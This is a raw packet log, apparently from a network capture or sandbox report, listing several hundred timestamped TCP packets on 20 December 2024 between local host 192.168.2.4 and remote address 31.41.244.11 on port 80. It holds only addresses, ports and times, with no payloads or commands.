Dec 20, 2024 09:12:14.389730930 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.389810085 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.389857054 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.390707016 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.390750885 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.390841961 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.390882969 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.391697884 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.391766071 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.391769886 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.391808033 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.392661095 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.392707109 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.392883062 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.393070936 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.393671036 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.393762112 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.393811941 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.394666910 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.394726038 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.394764900 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.394803047 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.395639896 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.395685911 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.395740032 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.395807028 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.396604061 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.396651983 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.396734953 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.397592068 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.397634983 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.397660017 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.398596048 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.398641109 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.398699999 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.398736000 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.399565935 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.399638891 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.399799109 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.400548935 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.400561094 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.400602102 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.400657892 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.400690079 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.401550055 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.401597023 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.401633024 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.401669979 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.402508020 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.402544975 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.402620077 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.402658939 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.403474092 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.403512001 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.403636932 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.403980017 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.404483080 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.404526949 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.404757023 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.404792070 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.405457020 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.405495882 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.405683041 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.406451941 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.406502962 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.406562090 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.407517910 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.407567978 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.407607079 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.407649040 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.408505917 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.408525944 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.408565998 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.409389019 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.409440041 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.409615040 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.410154104 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.410362005 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.410398960 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.410494089 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.410563946 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.411379099 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.411427021 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.411465883 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.411636114 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.412357092 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.412468910 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.412516117 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.413328886 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.413404942 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.413435936 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.413494110 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.414341927 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.414398909 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.414441109 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.414572954 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.415296078 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.415338039 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.415406942 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.415447950 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.416297913 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.416465044 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.416513920 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.417274952 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.417378902 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.417433023 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.418253899 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.418354988 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.418404102 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.419249058 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.419296026 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.419384003 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.420234919 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.420280933 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.420339108 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.421215057 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.421221018 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.421246052 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.421308041 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.421346903 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.422195911 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.422297001 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.422342062 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.564275026 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.564433098 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.564501047 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.564805984 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.564925909 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.564969063 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.565768957 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.565815926 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.565843105 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.566749096 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.566796064 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.566880941 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.567863941 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.567915916 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.568003893 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.568049908 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.568703890 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.568823099 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.568867922 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.569720984 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.569777012 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.569829941 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.570673943 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.570818901 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.570864916 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.571645975 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.571692944 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.571803093 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.571847916 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.572638988 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.572688103 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.572715044 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.573637009 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.573676109 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.573710918 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.574518919 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.574697971 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.574770927 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.574801922 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.574840069 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.575613022 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.575659990 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.575856924 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.576653004 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.576699972 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.576772928 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.577565908 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.577620983 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.577657938 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.577703953 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.578557968 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.578670979 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.578718901 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.579535961 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.579638004 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.579684019 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.580522060 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.580565929 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.580631018 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.580745935 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.581510067 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.581552029 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.581640005 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.581681967 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.582495928 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.582540989 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.582600117 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.582642078 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.583468914 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.583514929 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.583580017 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.583623886 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.584470987 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.584512949 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.584578037 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.584640026 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.585443974 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.585546970 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.585598946 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.586630106 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.586648941 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.586697102 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.587407112 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.587452888 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.587516069 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.588403940 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.588450909 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.588509083 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.588732958 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.589387894 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.589488983 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.589533091 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.590374947 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.590626001 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.590670109 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.591355085 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.591403008 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.591450930 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.592340946 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.592384100 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.592451096 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.593323946 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.593327045 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.593436003 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.593481064 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.594299078 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.594419956 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.594465017 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.595351934 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.595421076 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.595453024 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.596275091 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.596318960 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.596427917 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.597261906 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.597264051 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.597409010 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.597455025 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.598243952 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.598289013 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.598334074 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.599234104 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.599277973 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.599317074 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.600209951 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.600255013 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.600269079 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.600680113 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.601186991 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.601284981 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.601330042 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.602169991 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.602276087 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.602323055 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.603153944 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.603203058 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.603240013 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.604145050 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.604190111 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.604271889 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.605408907 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.605421066 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.605478048 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.605521917 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.606112003 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.606232882 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.606277943 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.607098103 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.607141972 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.607172966 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.608114004 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.608159065 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.608190060 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.609096050 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.609106064 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.609229088 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.609273911 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.610040903 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.610152960 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.610194921 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.611032009 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.611078978 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.611130953 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.612049103 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.612095118 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.612176895 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.613008976 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.613010883 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.613128901 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.613173008 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.613977909 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.614025116 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.614067078 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.614109993 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.614976883 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.615016937 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.615104914 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.615149021 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.615946054 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.616005898 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.756519079 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.756681919 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.756752968 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.757000923 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.757199049 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.757263899 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.758017063 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.758086920 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.758168936 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.758217096 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.759011984 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.759054899 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.759128094 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.759982109 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.760040998 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.760113955 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.760936022 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.760941982 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.761028051 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.761070013 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.761934996 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.762206078 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.762258053 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.762883902 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.762937069 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.762995005 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.763894081 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.763937950 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.763947010 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.763972044 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.764867067 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.764965057 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.765019894 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.765952110 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.766072035 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.766124010 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.766885042 CET	80	49759	31.41.244.11	192.168.2.4
